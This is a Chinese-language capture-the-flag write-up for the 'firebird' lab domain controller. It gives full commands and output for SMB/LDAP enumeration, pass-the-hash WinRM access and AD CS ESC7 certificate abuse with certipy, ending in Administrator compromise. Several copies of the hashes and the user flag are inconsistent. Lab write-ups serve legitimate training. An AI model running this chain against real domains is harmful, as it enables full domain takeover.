

| firebird_daochunhan

| firebird

| 靶机信息

- 靶机名称: firebird
- 靶机作者: kaada
- 靶机类型: Windows
- 来源: MazeSec/QQ公开群 321948805
- 官网: <https://maze-sec.com/>
- 初始凭据:ll104567/Pass_123456!

| user

| 信息收集

目标:

192.168.64.44

端口扫描:

```
sudo nmap -Pn -sS --open -p- --min-rate 5000 192.168.64.44
sudo nmap -Pn -sS -sV -sC -O -p
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 192.168.64.44
```

```
daochunhan@kali: ~ (28.2/25)
sudo nmap -Pn -sS --open -p- --min-rate 5000 192.168.64.44
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-26 03:09 -0400
Nmap scan report for 192.168.64.44
Host is up (0.0014s latency).
Not shown: 65515 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49668/tcp open  unknown
49670/tcp open  unknown
49672/tcp open  unknown
49684/tcp open  unknown
49694/tcp open  unknown
49717/tcp open  unknown
MAC Address: 9A:B8:FC:E3:EE:16 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 27.44 seconds
```

开放端口：

```
53/tcp      open       domain
88/tcp      open       kerberos-sec
135/tcp     open       msrpc
139/tcp     open       netbios-ssn
389/tcp     open       ldap
445/tcp     open       microsoft-ds
464/tcp     open       kpasswd5
593/tcp     open       http-rpc-epmap
636/tcp     open       ldapssl
3268/tcp    open       globalcatLDAP
3269/tcp    open       globalcatLDAPssl
5985/tcp    open       wsman
9389/tcp    open       adws
```

```
daochunhan@kali ~ (1m 35.86s)
sudo nmap -Pn -sS -sV -sC -O -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 192.168.64.44

PORT      STATE SERVICE        VERSION
53/tcp    open  domain         Simple DNS Plus
88/tcp    open  kerberos-sec   Microsoft Windows Kerberos (server time: 2026-07-25 23:13:07Z)
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: firebird.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-25T23:14:32+00:00; -7h59m51s from scanner time.
|_ssl-cert: Subject: commonName=firebird.firebird.local
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:firebird.firebird.local
|_ Not valid before: 2026-07-21T10:57:06
|_ Not valid after: 2027-07-21T10:57:06
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap       Microsoft Windows Active Directory LDAP (Domain: firebird.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-25T23:14:32+00:00; -7h59m51s from scanner time.
|_ssl-cert: Subject: commonName=firebird.firebird.local
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:firebird.firebird.local
|_ Not valid before: 2026-07-21T10:57:06
|_ Not valid after: 2027-07-21T10:57:06
3268/tcp  open  ldap           Microsoft Windows Active Directory LDAP (Domain: firebird.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-25T23:14:32+00:00; -7h59m51s from scanner time.
|_ssl-cert: Subject: commonName=firebird.firebird.local
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:firebird.firebird.local
|_ Not valid before: 2026-07-21T10:57:06
|_ Not valid after: 2027-07-21T10:57:06
3269/tcp  open  ssl/ldap       Microsoft Windows Active Directory LDAP (Domain: firebird.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-25T23:14:32+00:00; -7h59m51s from scanner time.
|_ssl-cert: Subject: commonName=firebird.firebird.local
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:firebird.firebird.local
|_ Not valid before: 2026-07-21T10:57:06
|_ Not valid after: 2027-07-21T10:57:06
5985/tcp  open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf         .NET Message Framing
MAC Address: 9A:B8:FC:E3:EE:16 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|11|2016 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2022-cpe:/o:microsoft:windows_11 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (97%), Microsoft Windows 11 21H2 (91%), Microsoft Windows Server 2016 (91%), Microsoft Windows 11 24H2 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: FIREBIRD; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb2-security-mode:
|_ 3.1.1:
|_ Message signing enabled and required
|_ clock-skew: mean: -7h59m51s, deviation: 0s, median: -7h59m51s
|_ nbstat: NetBIOS name: FIREBIRD, NetBIOS user: <unknown>, NetBIOS MAC: 9a:b8:fc:e3:ee:16 (unknown)
|_ smb2-time:
|_ date: 2026-07-25T23:13:50
|_ start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.00 seconds
```

Host: FIREBIRD

Domain: firebird.local

OS: Windows Server 2022

SMB signing enabled and required

使用初始凭据登录 SMB:

```
nxc smb 192.168.64.44 -d firebird.local -u ll104567 -p 'Pass_123456!' --
shares
```

```
daochunhan@kali: ~ (10.272s)
nxc smb 192.168.64.44 -d firebird.local -u ll104567 -p 'Pass_123456!' --shares
SMB      192.168.64.44 445 FIREBIRD [*] Windows Server 2022 Build 20348 x64 (name:FIREBIRD) (domain:firebird.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB      192.168.64.44 445 FIREBIRD [+] firebird.local\\ll104567:Pass_123456!
SMB      192.168.64.44 445 FIREBIRD [*] Enumerated shares
SMB      192.168.64.44 445 FIREBIRD
SMB      192.168.64.44 445 FIREBIRD
Share     Permissions    Remark
-----
ADMIN$    Remote Admin
C$        Default share
DB_Vault
IPC$      READ          Remote IPC
NETLOGON  READ          Logon server share
SYSVOL    READ          Logon server share
```

枚举共享：

DB_Vault
NETLOGON
SYSVOL

```
smbclient //192.168.64.44/DB_Vault -U 'firebird.local/ll104567'
Password for [FIREBIRD.LOCAL\\ll104567]:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit

smbclient //192.168.64.44/NETLOGON -U 'firebird.local/ll104567'
Password for [FIREBIRD.LOCAL\\ll104567]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D                0      Tue Jul 21 06:40:56 2026
..               D                0      Tue Jul 21 06:47:02 2026

                    5158399 blocks of size 4096. 1820189 blocks available
smb: \> exit

smbclient //192.168.64.44/SYSVOL -U 'firebird.local/ll104567'
Password for [FIREBIRD.LOCAL\\ll104567]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D                0      Tue Jul 21 06:40:56 2026
..               D                0      Tue Jul 21 06:40:56 2026
firebird.local   Dr                0      Tue Jul 21 06:40:56 2026

                    5158399 blocks of size 4096. 1819833 blocks available
smb: \> cd firebird.local
smb: \firebird.local\> ls
.                D                0      Tue Jul 21 06:47:02 2026
..               D                0      Tue Jul 21 06:40:56 2026
DfsrPrivate      DHSr            0      Tue Jul 21 06:47:02 2026
Policies          D                0      Tue Jul 21 06:41:01 2026
scripts          D                0      Tue Jul 21 06:40:56 2026

                    5158399 blocks of size 4096. 1819843 blocks available
```

ll104567 可以读 NETLOGON、SYSVOL，但 DB_Vault 不能列目录。

LDAP 信息泄露

用初始账号枚举域用户：

```
nxc ldap 192.168.64.44 -d firebird.local -u ll104567 -p 'Pass_123456!' --
users
```

可以看到一个服务账号：

```
nxc ldap 192.168.64.44 -d firebird.local -u ll104567 -p 'Pass_123456!' --users
```

LDAP	192.168.64.44	389	FIREBIRD	[*] Windows Server 2022 Build 20348 (name:FIREBIRD) (domain:firebird.local) (signing:None) (channel binding:Never)
LDAP	192.168.64.44	389	FIREBIRD	[+] firebird.local\ll104567:Pass_123456!
LDAP	192.168.64.44	389	FIREBIRD	[*] Enumerated 6 domain users: firebird.local
LDAP	192.168.64.44	389	FIREBIRD	-Username- -Last PW Set- -BadPW- -Description-
LDAP	192.168.64.44	389	FIREBIRD	Administrator 2026-07-21 06:37:34 0 Built-in account for administering the computer/domain
LDAP	192.168.64.44	389	FIREBIRD	Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP	192.168.64.44	389	FIREBIRD	krbtgt 2026-07-21 06:41:36 0 Key Distribution Center Service Account
LDAP	192.168.64.44	389	FIREBIRD	111 2026-07-21 06:49:55 0 Service Account for DB Backup Validation.
LDAP	192.168.64.44	389	FIREBIRD	sublarge 2026-07-21 12:08:29 0
LDAP	192.168.64.44	389	FIREBIRD	ll104567 2026-07-21 08:04:49 0

111 Service Account for DB Backup Validation.

继续查 LDAP 属性:

```
nxc ldap 192.168.64.44 \
-d firebird.local \
-u ll104567 \
-p 'Pass_123456!' \
--query '(sAMAccountName=111)' \
'sAMAccountName description info memberOf scriptPath'
```

111 用户的 info 属性里直接泄露了密码:

```
nxc ldap 192.168.64.44 \
-d firebird.local \
-u ll104567 \
-p 'Pass_123456!' \
--query '(sAMAccountName=111)' \
'sAMAccountName description info memberOf scriptPath'
```

LDAP	192.168.64.44	389	FIREBIRD	[*] Windows Server 2022 Build 20348 (name:FIREBIRD) (domain:firebird.local) (signing:None) (channel binding:Never)
LDAP	192.168.64.44	389	FIREBIRD	[+] firebird.local\ll104567:Pass_123456!
LDAP	192.168.64.44	389	FIREBIRD	[+] Response for object: CN=111,OU=TargetUsers,DC=firebird,DC=local
LDAP	192.168.64.44	389	FIREBIRD	description Service Account for DB Backup Validation.
LDAP	192.168.64.44	389	FIREBIRD	info [Project Suna no Wakusei - Dev Node] Service Account for DB Backup Validation. Assigned credential: L
LDAP	192.168.64.44	389	FIREBIRD	sAMAccountName 111

Assigned credential: Ldap_P@ssw0rd_2026!

DB_Vault

用 111 登录 SMB, 发现 DB_Vault 可读:

```
nxc smb 192.168.64.44 -d firebird.local -u 111 -p 'Ldap_P@ssw0rd_2026!' --shares
```

```
nxc smb 192.168.64.44 -d firebird.local -u 111 -p 'Ldap_P@ssw0rd_2026!' --shares
```

SMB	192.168.64.44	445	FIREBIRD	[*] Windows Server 2022 Build 20348 x64 (name:FIREBIRD) (domain:firebird.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB	192.168.64.44 <td>445 <td>FIREBIRD</td> <td>[+] firebird.local\111:Ldap_P@ssw0rd_2026!</td> </td>	445 <td>FIREBIRD</td> <td>[+] firebird.local\111:Ldap_P@ssw0rd_2026!</td>	FIREBIRD	[+] firebird.local\111:Ldap_P@ssw0rd_2026!
SMB	192.168.64.44 <td>445 <td>FIREBIRD</td> <td>[*] Enumerated shares</td> </td>	445 <td>FIREBIRD</td> <td>[*] Enumerated shares</td>	FIREBIRD	[*] Enumerated shares
SMB	192.168.64.44 <td>445 <td>FIREBIRD</td> <td>Share Permissions Remark</td> </td>	445 <td>FIREBIRD</td> <td>Share Permissions Remark</td>	FIREBIRD	Share Permissions Remark
SMB	192.168.64.44 <td>445 <td>FIREBIRD</td> <td>ADMIN\$ Remote Admin</td> </td>	445 <td>FIREBIRD</td> <td>ADMIN\$ Remote Admin</td>	FIREBIRD	ADMIN\$ Remote Admin
SMB	192.168.64.44 <td>445 <td>FIREBIRD</td> <td>C\$ Default share</td> </td>	445 <td>FIREBIRD</td> <td>C\$ Default share</td>	FIREBIRD	C\$ Default share
SMB	192.168.64.44 <td>445 <td>FIREBIRD</td> <td>DB Vault READ</td> </td>	445 <td>FIREBIRD</td> <td>DB Vault READ</td>	FIREBIRD	DB Vault READ
SMB	192.168.64.44 <td>445 <td>FIREBIRD</td> <td>IPC\$ Remote IPC</td> </td>	445 <td>FIREBIRD</td> <td>IPC\$ Remote IPC</td>	FIREBIRD	IPC\$ Remote IPC
SMB	192.168.64.44 <td>445 <td>FIREBIRD</td> <td>NETLOGON Logon server share</td> </td>	445 <td>FIREBIRD</td> <td>NETLOGON Logon server share</td>	FIREBIRD	NETLOGON Logon server share
SMB	192.168.64.44 <td>445 <td>FIREBIRD</td> <td>SYSVOL Logon server share</td> </td>	445 <td>FIREBIRD</td> <td>SYSVOL Logon server share</td>	FIREBIRD	SYSVOL Logon server share

下载共享文件:

```
smbclient //192.168.64.44/DB_Vault -W firebird.local -U  
'111%Ldap_P@ssw0rd_2026!' -m SMB3
```

共享里有一个配置文件：

```
get db_config.ini
```

```
smbclient //192.168.64.44/DB_Vault -W firebird.local -U '111%Ldap_P@ssw0rd_2026!' -m SMB3  
Try "help" to get a list of possible commands.  
smb: \> ls  
.  
..          D           0 Tue Jul 21 06:51:16 2026  
db_config.ini  DHS           0 Tue Jul 21 08:35:01 2026  
              A       147 Tue Jul 21 12:11:20 2026  
5158399 blocks of size 4096. 1818930 blocks available  
smb: \>
```

内容：

```
cat db_config.ini  
[Database Service Configuration]  
ServiceAccount=firebird\sublarge  
AuthType=NTLM  
BackupHash=2d9b24ded78750921eecd7dfea8d54ae  
LastUpdate=2026-07-21
```

```
[Database Service Configuration]  
ServiceAccount=firebird\sublarge  
AuthType=NTLM  
BackupHash=2d9b24ded78750921eecd7dfea8d54ae  
LastUpdate=2026-07-21
```

得到 BackupHash 是 sublarge 的 NTLM hash。

用 hash 验证 WinRM：

```
nxc winrm 192.168.64.44 -d firebird.local -u sublarge -H  
2d9b24ded78750921eecd7dfea8d54ae
```

```
nxc winrm 192.168.64.44 -d firebird.local -u sublarge -H 2d9b24ded78750921eecd7dfea8d54ae  
WINRM 192.168.64.44 5985 FIREBIRD [*] Windows Server 2022 Build 20348 (name:FIREBIRD) (domain:firebird.local)  
WINRM 192.168.64.44 5985 FIREBIRD [+] firebird.local\sublarge:2d9b24ded78750921eecd7dfea8d54ae (Pwn3d!)
```

读取 user flag：

```
evil-winrm -i 192.168.64.44 -u sublarge -H 2d9b24ded78750921eecd7dfea8d54ae
```

```
evil-winrm -i 192.168.64.44 -u sublarge -H 2d9b24ded78750921eecd7dfea8d54ae  
Evil-WinRM shell v3.9  
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline  
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion  
Info: Establishing connection to remote endpoint  
*Evil-WinRM* PS C:\Users\sublarge\Documents> whoami  
firebird_dom\sublarge  
*Evil-WinRM* PS C:\Users\sublarge\Documents> Get-Content C:\Users\sublarge\Desktop\user.txt  
9585e7f18c514320a7a15d0932481734  
*Evil-WinRM* PS C:\Users\sublarge\Documents>
```

9585e7f18c514320a7a150d932481734

| root

| AD CS ESC7

先看 **sublarge** 的组：

```
whoami /all
```

关键组：

```
*Evil-WinRM* PS C:\Users\sublarge\Documents> whoami /all

USER INFORMATION
-----

User Name                SID
=====
firebird_dom\sublarge S-1-5-21-4072418453-1050883858-1026317057-1105

GROUP INFORMATION
-----

Group Name                Type                SID                Attributes
=====
Everyone                  Well-known group   S-1-1-0            Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias              S-1-5-32-580       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users              Alias              S-1-5-32-545       Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias              S-1-5-32-554       Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias              S-1-5-32-574       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK      Well-known group   S-1-5-2            Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group   S-1-5-11           Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group   S-1-5-15           Mandatory group, Enabled by default, Enabled group
FIREBIRD_DOM\CertManagers_Group Group              S-1-5-21-4072418453-1050883858-1026317057-1106 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group   S-1-5-64-10        Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label             S-1-16-8448

PRIVILEGES INFORMATION
-----

Privilege Name            Description            State
=====
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege  Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

USER CLAIMS INFORMATION
-----

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\sublarge\Documents>
```

FIREBIRD_DOM\CertManagers_Group

枚举 AD CS：

```
certipy-ad find -u 'sublarge@firebird.local' \
-hashes ':2d9b24ded78750921eec7dfea8d54ae' \
-target 192.168.64.44 -dc-ip 192.168.64.44 \
-stdout -vulnerable
```

发现 CA：


```

Certificate Authorities
0
CA Name : firebird-FIREBIRD-CA
DNS Name : firebird.firebird.local
Certificate Subject : CN=firebird-FIREBIRD-CA, DC=firebird, DC=local
Certificate Serial Number : 11852CD80146F4AC427AC06BC59D7D9D
Certificate Validity Start : 2026-07-21 10:56:05+00:00
Certificate Validity End : 2031-07-21 11:06:05+00:00
Web Enrollment
HTTP
  Enabled : False
HTTPS
  Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
  Owner : FIREBIRD.LOCAL\Administrators
  Access Rights
    Enroll : FIREBIRD.LOCAL\Authenticated Users
    ManageCa : FIREBIRD.LOCAL\CertManagers_Group
    ManageCertificates : FIREBIRD.LOCAL\CertManagers_Group
    FIREBIRD.LOCAL\Domain Admins
    FIREBIRD.LOCAL\Enterprise Admins
    FIREBIRD.LOCAL\Administrators
  [+ User Enrollable Principals : FIREBIRD.LOCAL\Authenticated Users
    FIREBIRD.LOCAL\CertManagers_Group
  [+ User ACL Principals : FIREBIRD.LOCAL\CertManagers_Group
  [!] Vulnerabilities
    ESC7 : User has dangerous permissions.
Certificate Templates : [!] Could not find any certificate templates

```

CertManagers_Group 同时拥有：

ManageCa
ManageCertificates

因此 **sublarge** 对 CA 具有危险管理权限，被 **Certypy** 标记为 ESC7。

SubCA 模板已启用：

```

certipy-ad ca -u 'sublarge@firebird.local' \
  -hashes ':2d9b24ded78750921eecd7dfea8d54ae' \
  -ca 'firebird-FIREBIRD-CA' \
  -target 192.168.64.44 -target-ip 192.168.64.44 -dc-ip 192.168.64.44 \
  -list-templates

```

```

certipy-ad ca -u 'sublarge@firebird.local' \
  -hashes ':2d9b24ded78750921eecd7dfea8d54ae' \
  -ca 'firebird-FIREBIRD-CA' \
  -target 192.168.64.44 -target-ip 192.168.64.44 -dc-ip 192.168.64.44 \
  -list-templates
Certypy v5.0.4 - by Oliver Lyak (ly4k)
[*] Enabled certificate templates on 'firebird-FIREBIRD-CA':
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator

```

利用 ESC7 申请 Administrator 证书：

```

certipy-ad req -u sublarge@firebird.local \
  -hashes :2d9b24ded78750921eecd7dfea8d54ae \
  -ca firebird-FIREBIRD-CA \
  -template SubCA \

```

```
-upn administrator@firebird.local \  
-sid S-1-5-21-4072418453-1050883858-1026317057-500 \  
-target 192.168.64.44 -dc-ip 192.168.64.44
```

第一次会因为模板权限被拒，但是会留下请求 ID 和私钥：

```
certipy-ad req -u sublarge@firebird.local \  
-hashes :2d9b24ded78750921eec7dfea8d54ae \  
-ca firebird-FIREBIRD-CA \  
-template SubCA \  
-upn administrator@firebird.local \  
-sid S-1-5-21-4072418453-1050883858-1026317057-500 \  
-target 192.168.64.44 -dc-ip 192.168.64.44  
Certipy v5.0.4 - by Oliver Lyak (ly4k)  
[*] Requesting certificate via RPC  
[*] Request ID is 3  
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll  
for this type of certificate.  
Would you like to save the private key? (y/N): y  
[*] Saving private key to '3.key'  
[*] Wrote private key to '3.key'  
[-] Failed to request certificate
```

Request ID is 3
CERTSRV_E_TEMPLATE_DENIED

`sublarge` 没有直接注册 `SubCA` 模板的权限，所以请求返回 `CERTSRV_E_TEMPLATE_DENIED`。但证书申请已经被 CA 记录，并生成了请求 ID 和本地私钥。由于 `sublarge` 拥有 `ManageCertificates` 权限，可以手动批准该请求。

用 `sublarge` 的 CA 管理权限签发这个请求：

```
certipy-ad ca \  
-u sublarge@firebird.local \  
-hashes :2d9b24ded78750921eec7dfea8d54ae \  
-ca firebird-FIREBIRD-CA \  
-issue-request 3 \  
-target 192.168.64.44 -dc-ip 192.168.64.44
```

```
certipy-ad ca \  
-u sublarge@firebird.local \  
-hashes :2d9b24ded78750921eec7dfea8d54ae \  
-ca firebird-FIREBIRD-CA \  
-issue-request 3 \  
-target 192.168.64.44 -dc-ip 192.168.64.44  
Certipy v5.0.4 - by Oliver Lyak (ly4k)  
[*] Successfully issued certificate request ID 3
```

Successfully issued certificate request ID 3

取回证书：

```
certipy-ad req \  
-u sublarge@firebird.local \  
-hashes :2d9b24ded78750921eec7dfea8d54ae \  
-target 192.168.64.44 -dc-ip 192.168.64.44
```



```
-ca firebird-FIREBIRD-CA -retrieve 3 \  
-target 192.168.64.44 -dc-ip 192.168.64.44
```

```
certipy-ad req \  
-u sublarge@firebird.local \  
-hashes :2d9b24ded78750921eed7dfea8d54ae \  
-ca firebird-FIREBIRD-CA -retrieve 3 \  
-target 192.168.64.44 -dc-ip 192.168.64.44  
Certipy v5.0.4 - by Oliver Lyak (ly4k)  
[*] Retrieving certificate with ID 3  
[*] Successfully retrieved certificate  
[*] Got certificate with UPN 'administrator@firebird.local'  
[*] Certificate object SID is 'S-1-5-21-4072418453-1050883858-1026317057-500'  
[*] Loaded private key from '3.key'  
[*] Saving certificate and private key to 'administrator.pfx'  
[*] Wrote certificate and private key to 'administrator.pfx'
```

```
[*] Got certificate with UPN 'administrator@firebird.local'  
[*] Certificate object SID is 'S-1-5-21-4072418453-1050883858-1026317057-500'  
[*] Saving certificate and private key to 'administrator.pfx'
```

同步一下域控时间，用证书和私钥认证 Administrator：

```
sudo timedatectl set-ntp false  
sudo ntpdate -u 192.168.64.44  
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.64.44
```

```
sudo timedatectl set-ntp false  
sudo ntpdate -u 192.168.64.44  
2026-07-25 20:19:47.824879 (-0400) -28790.918499 +/- 0.003218 192.168.64.44 s1 no-leap  
CLOCK: time stepped by -28790.918499  
  
daochunhan@kali ~ (5.655s)  
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.64.44  
Certipy v5.0.4 - by Oliver Lyak (ly4k)  
[*] Certificate identities:  
[*] SAN UPN: 'administrator@firebird.local'  
[*] SAN URL: 'S-1-5-21-4072418453-1050883858-1026317057-500'  
[*] Using principal: 'administrator@firebird.local'  
[*] Trying to get TGT...  
[*] Got TGT  
[*] Saving credential cache to 'administrator.ccache'  
[*] Wrote credential cache to 'administrator.ccache'  
[*] Trying to retrieve NT hash for 'administrator'  
[*] Got hash for 'administrator@firebird.local': aad3b435b51404eeaad3b435b51404ee:9fbb1566fa1ff2c13c56255d7e360635
```

拿到 Administrator 的 NTLM Hash：

```
[*] Got hash for 'administrator@firebird.local':  
aad3b435b51404eeaad3b435b51404ee:9fbb1566fa1ff2c13c56255d7e360635
```

用管理员身份进入 WinRM：

```
evil-winrm -i 192.168.64.44 -u administrator -H  
9fbb1566fa1ff2c13c56255d7e360635
```

```
evil-winrm -t 192.168.64.44 -u administrator -H 9fbb1566fa1ff2c13c56255d7e360635

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\FIREBIRD_DOM\Documents> whoami
firebird_dom\administrator
*Evil-WinRM* PS C:\Users\Administrator\FIREBIRD_DOM\Documents>
```

读取 root flag:

```
*Evil-WinRM* PS C:\Users\Administrator\FIREBIRD_DOM\Documents> Get-Content C:\Users\Administrator\FIREBIRD_DOM\Desktop\root.txt
b883e584300f4961a6b3ef9f6ad4bf69
*Evil-WinRM* PS C:\Users\Administrator\FIREBIRD_DOM\Documents>
```

b883e584300f4961a6b3ef9f6ad4bf69